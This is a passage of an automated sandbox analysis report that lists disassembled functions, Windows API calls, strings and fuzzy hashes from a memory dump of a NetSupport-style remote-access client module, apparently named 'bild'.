Instruction Fuzzy Hash: E5F0A73EF9466933D31666F53D1AF4BAB485B815ACB060031F524EA740EE14B4018166

Function 11147110 Relevance: 9.0, APIs: 6, Instructions: 48threadsynchronizationCOMMON

Download Yara Rule

APIs

OpenThread.KERNEL32(0000004A,00000000,11147278,?,?,?,?,?,11147278), ref: 1114713A
CreateThread.KERNEL32(00000000,00001000,111470B0,?,00000000,?), ref: 1114715E
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,?,?,11147278), ref: 11147169
GetExitCodeThread.KERNEL32(00000000,00000000,?,?,?,?,?,?,11147278), ref: 11147174
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,11147278), ref: 11147181
CloseHandle.KERNEL32(?,?,?,?,?,?,?,11147278), ref: 11147187

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Thread$CloseHandle$CodeCreateExitObjectOpenSingleWait
String ID:
API String ID: 180989782-0
Opcode ID: f968cd3be34acbbfc001fc2c5c2cf1c984ef6abb93f92428a018694f843edebd
Instruction ID: 262247fb5796f255492f056fed215dfab2d13c04184fcb9cbdc2136a2e7489e8
Opcode Fuzzy Hash: f968cd3be34acbbfc001fc2c5c2cf1c984ef6abb93f92428a018694f843edebd
Instruction Fuzzy Hash: 6901FA75D14219ABDB04DFA8C845BAEBBB8EF08710F108166F924E7284D774AA018B91

Function 110B3090 Relevance: 9.0, APIs: 6, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,111F00F8,111E5C98,?,110B754E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B30A8
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,110B7594), ref: 110B30B5
CloseHandle.KERNEL32(?,111F00F8,111E5C98,?,110B754E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B30C8
CloseHandle.KERNEL32(?,111F00F8,111E5C98,?,110B754E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B30D5
WaitForSingleObject.KERNEL32(?,000003E8,111F00F8,111E5C98,?,110B754E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B30F3
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,110B7594), ref: 110B3100

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: de728af195af138cefa6dff90218103564fc584f7cc06855e29f8d807c559bfa
Instruction ID: 8ed48fa67f8c8c814876f8dc7215a606f8693e2702a4d531ac155f54366f369e
Opcode Fuzzy Hash: de728af195af138cefa6dff90218103564fc584f7cc06855e29f8d807c559bfa
Instruction Fuzzy Hash: 46011A75A087049BE7A0DFB988D4A96F7ECEF58300F11592EE5AAC3200CB78B8448F50

Function 110770E0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 111COMMON

Download Yara Rule

APIs

MapWindowPoints.USER32(?,00000000,?,00000002), ref: 1107712B

Part of subcall function 11076470: DeferWindowPos.USER32(8B000EA9,00000000,D8E85BC0,33CD335E,?,00000000,33CD335E,110771C6), ref: 110764B3

EqualRect.USER32(?,?), ref: 1107713C
SetWindowPos.USER32(00000000,00000000,?,33CD335E,D8E85BC0,8B000EA9,00000014,?,?,?,?,?,1107731A,00000000,?), ref: 11077196

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11077172
m_hWnd, xrefs: 11077177

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Window$DeferEqualPointsRect
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2754115966-2830328467
Opcode ID: 99985b2635142920f8b9c22496a84f2b0050643658386b35a5a33d160634cd24
Instruction ID: 41b5b1a8551b5e1f2f99f8414896ea4fcac58e3e889cf17ca758b789060a613c
Opcode Fuzzy Hash: 99985b2635142920f8b9c22496a84f2b0050643658386b35a5a33d160634cd24
Instruction Fuzzy Hash: E0413EB5A006099FDB14CFA9C884EAAFBF5FF88704F108559E9559B344D770AD00CBA4

Function 11089150 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00000000,00001770,0000000A), ref: 1108918F
LoadResource.KERNEL32(00000000,00000000,?,00000000,?,110CEF56,?), ref: 110891A4
LockResource.KERNEL32(00000000,?,00000000,?,110CEF56,?), ref: 110891D6

Strings

hMap, xrefs: 110891BD
..\ctl32\Errorhan.cpp, xrefs: 110891B8, 110891E7

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Resource$FindLoadLock
String ID: ..\ctl32\Errorhan.cpp$hMap
API String ID: 2752051264-327499879
Opcode ID: 822e2482afd153fa47cf4ddbc35e772a2b3a06937125cb698dae634270013ce3
Instruction ID: ac104577f0cb8d44e6482e86c7e4f76e51294e6aac98140987b3b76ba3c25106
Opcode Fuzzy Hash: 822e2482afd153fa47cf4ddbc35e772a2b3a06937125cb698dae634270013ce3
Instruction Fuzzy Hash: 08110D3AF4C22556DB12EBE9AC45B69B7E89BC07A8B410475FC6CD71C4FA61D440C3E1

Function 11143110 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000100,00000000), ref: 1114314B
_strrchr.LIBCMT ref: 1114315A
_strrchr.LIBCMT ref: 1114316A
wsprintfA.USER32 ref: 11143185

Part of subcall function 111456A0: GetModuleHandleA.KERNEL32(NSMTRACE,11194AB8), ref: 111456BA

Strings

BILD, xrefs: 11143180, 1114318E, 11143195, 111431C2

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Module_strrchr$FileHandleNamewsprintf
String ID: BILD
API String ID: 2529650285-1114602597
Opcode ID: 832b53a00f043e857d3b8e09e9a2ce5d770147cd639c4bf1822df3017942b825
Instruction ID: d978b5afe12e8555e920acd6faf46f6bc40337599c773746d871781ff4fb06a8
Opcode Fuzzy Hash: 832b53a00f043e857d3b8e09e9a2ce5d770147cd639c4bf1822df3017942b825
Instruction Fuzzy Hash: DD21DD31A182698FE712EF348D407DAFBB4DF15B0CF2000D8D8850B182D7716885C7A0

Function 11065340 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

GetProfileStringA.KERNEL32(Windows,Device,No default printer,,LPT1:,?,00000050), ref: 11065366
_memmove.LIBCMT ref: 110653B1

Strings

Device, xrefs: 1106535C
No default printer,,LPT1:, xrefs: 11065357
Windows, xrefs: 11065361

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ProfileString_memmove
String ID: Device$No default printer,,LPT1:$Windows
API String ID: 1665476579-2460060945
Opcode ID: b42f47fad53366f1e4ac447008a1a2d6fd591c8f9db6545ab0f545fe689f24a8
Instruction ID: a358cf5610f4a81608be9fe47ec1da84b056d0ceaed1d9bd2f397f709d6f9fc8
Opcode Fuzzy Hash: b42f47fad53366f1e4ac447008a1a2d6fd591c8f9db6545ab0f545fe689f24a8
Instruction Fuzzy Hash: 0E119E35D002669AD700CFB0DC45BFEBBACDF01788F144158DC869B240EAF22609C3E1

Function 110450BD Relevance: 7.9, APIs: 5, Instructions: 401COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 11045345
SysFreeString.OLEAUT32(?), ref: 110453E5
SysFreeString.OLEAUT32(?), ref: 110453F4
_memset.LIBCMT ref: 1104545F
SysFreeString.OLEAUT32(?), ref: 110454BA

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: FreeString$__wcsicoll_memset
String ID:
API String ID: 3719176846-0
Opcode ID: 441a99ce500d99f467cd7fd3aeec64a7d709f35996a15428944c20697e7ebd2f
Instruction ID: f73372903cd30c0382670b71593fb0b3797c4e2875fb117f6f51c869b4ccb2fb
Opcode Fuzzy Hash: 441a99ce500d99f467cd7fd3aeec64a7d709f35996a15428944c20697e7ebd2f
Instruction Fuzzy Hash: 53A10A75E006299FCB21CF59CC84ADEB7B9AF89305F2045D9E50DAB610DB32AE85CF50

Function 11045160 Relevance: 7.8, APIs: 5, Instructions: 258COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 11045345
SysFreeString.OLEAUT32(?), ref: 110453E5
SysFreeString.OLEAUT32(?), ref: 110453F4
_memset.LIBCMT ref: 1104545F
SysFreeString.OLEAUT32(?), ref: 110454BA

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: FreeString$__wcsicoll_memset
String ID:
API String ID: 3719176846-0
Opcode ID: 630363bdb13d22254993ecf68dacbf692c7bf3f03afba6e05313967c32aba816
Instruction ID: afd3f22c8fe7dd5f2f13fef18bd13733cf22d578236402d79b842a18f9b7ad91
Opcode Fuzzy Hash: 630363bdb13d22254993ecf68dacbf692c7bf3f03afba6e05313967c32aba816
Instruction Fuzzy Hash: E3A11871E006299FCB21DF59CC84ADEB7B9AF89305F2041D9E50DAB610DB32AE85CF50

Function 11021300 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 165windowCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11021362
IsWindowVisible.USER32(00000000), ref: 11021433
wsprintfA.USER32 ref: 11021477

Strings

%d,%d,%d,%d,%d,%d, xrefs: 11021471

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: wsprintf$VisibleWindow
String ID: %d,%d,%d,%d,%d,%d
API String ID: 1671172596-1913222166
Opcode ID: 85305b6f0e97ae49525742254329e378668c5d080315b458b3003d671ba0b5ff
Instruction ID: 208af751730b9df0a36513b51cfb93f89bd03d9f93b9dbce85b9ce09b73d059e
Opcode Fuzzy Hash: 85305b6f0e97ae49525742254329e378668c5d080315b458b3003d671ba0b5ff
Instruction Fuzzy Hash: 465181746001159FD710DB68CC90F9AB7F9BF88708F108698F6599B391DB70ED45CBA0

Function 11117000 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1111701F
DeleteObject.GDI32(00000000), ref: 11117143
GetTickCount.KERNEL32 ref: 11117159

Strings

BltPending skipping Blt, sinceUpdate=%d ms, sinceBlt=%d ms, from=%s, xrefs: 1111706E

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CountTick$DeleteObject
String ID: BltPending skipping Blt, sinceUpdate=%d ms, sinceBlt=%d ms, from=%s
API String ID: 3011517232-3209293507
Opcode ID: 3804ad2b8b8d45a3881d6a1d8f9e7176cbf39d2a15b6b3a9b1851c2b4258d80b
Instruction ID: 71694b1901628e7c3f0e0f97bec8b89b6520565b9ddb22d4603e25af3e6b7442
Opcode Fuzzy Hash: 3804ad2b8b8d45a3881d6a1d8f9e7176cbf39d2a15b6b3a9b1851c2b4258d80b
Instruction Fuzzy Hash: 62414F75A00F058FD724CF79CD856ABF7E1FF84219F104A3ED56A9A244EB3565418F00

Function 110D1090 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 82COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 110D1128

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

..\CTL32\NSMString.cpp, xrefs: 110D10A7, 110D10DA, 110D114E
IsA(), xrefs: 110D10AC, 110D1153
cchLen<=0 || cchLen<=(int) _tcslen(pszStr), xrefs: 110D10DF

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcess_memmovewsprintf
String ID: ..\CTL32\NSMString.cpp$IsA()$cchLen<=0 || cchLen<=(int) _tcslen(pszStr)
API String ID: 1528188558-323366856
Opcode ID: 68b70f9a2bf70a58353feb4a735461465b776518e9ae676a20bb0fc5dc14d86d
Instruction ID: cd45fd8f54c028a965d30ceca3f2b81ac61ec80aecbdd09916459db7febd3670
Opcode Fuzzy Hash: 68b70f9a2bf70a58353feb4a735461465b776518e9ae676a20bb0fc5dc14d86d
Instruction Fuzzy Hash: AE21263EB003476BDB11DE69EC50F9BB7D99FC528CB108498F98887301EE72F4058294

Function 110B91D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62timeCOMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 110B91EF
MoveWindow.USER32(8D111939,?,?,?,?,00000001,?,?,?,?,?,?,?,?,?,110BA3F5), ref: 110B9228
SetTimer.USER32(8D111939,0000050D,000007D0,00000000), ref: 110B9260

Strings

Max, xrefs: 110B91E0

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
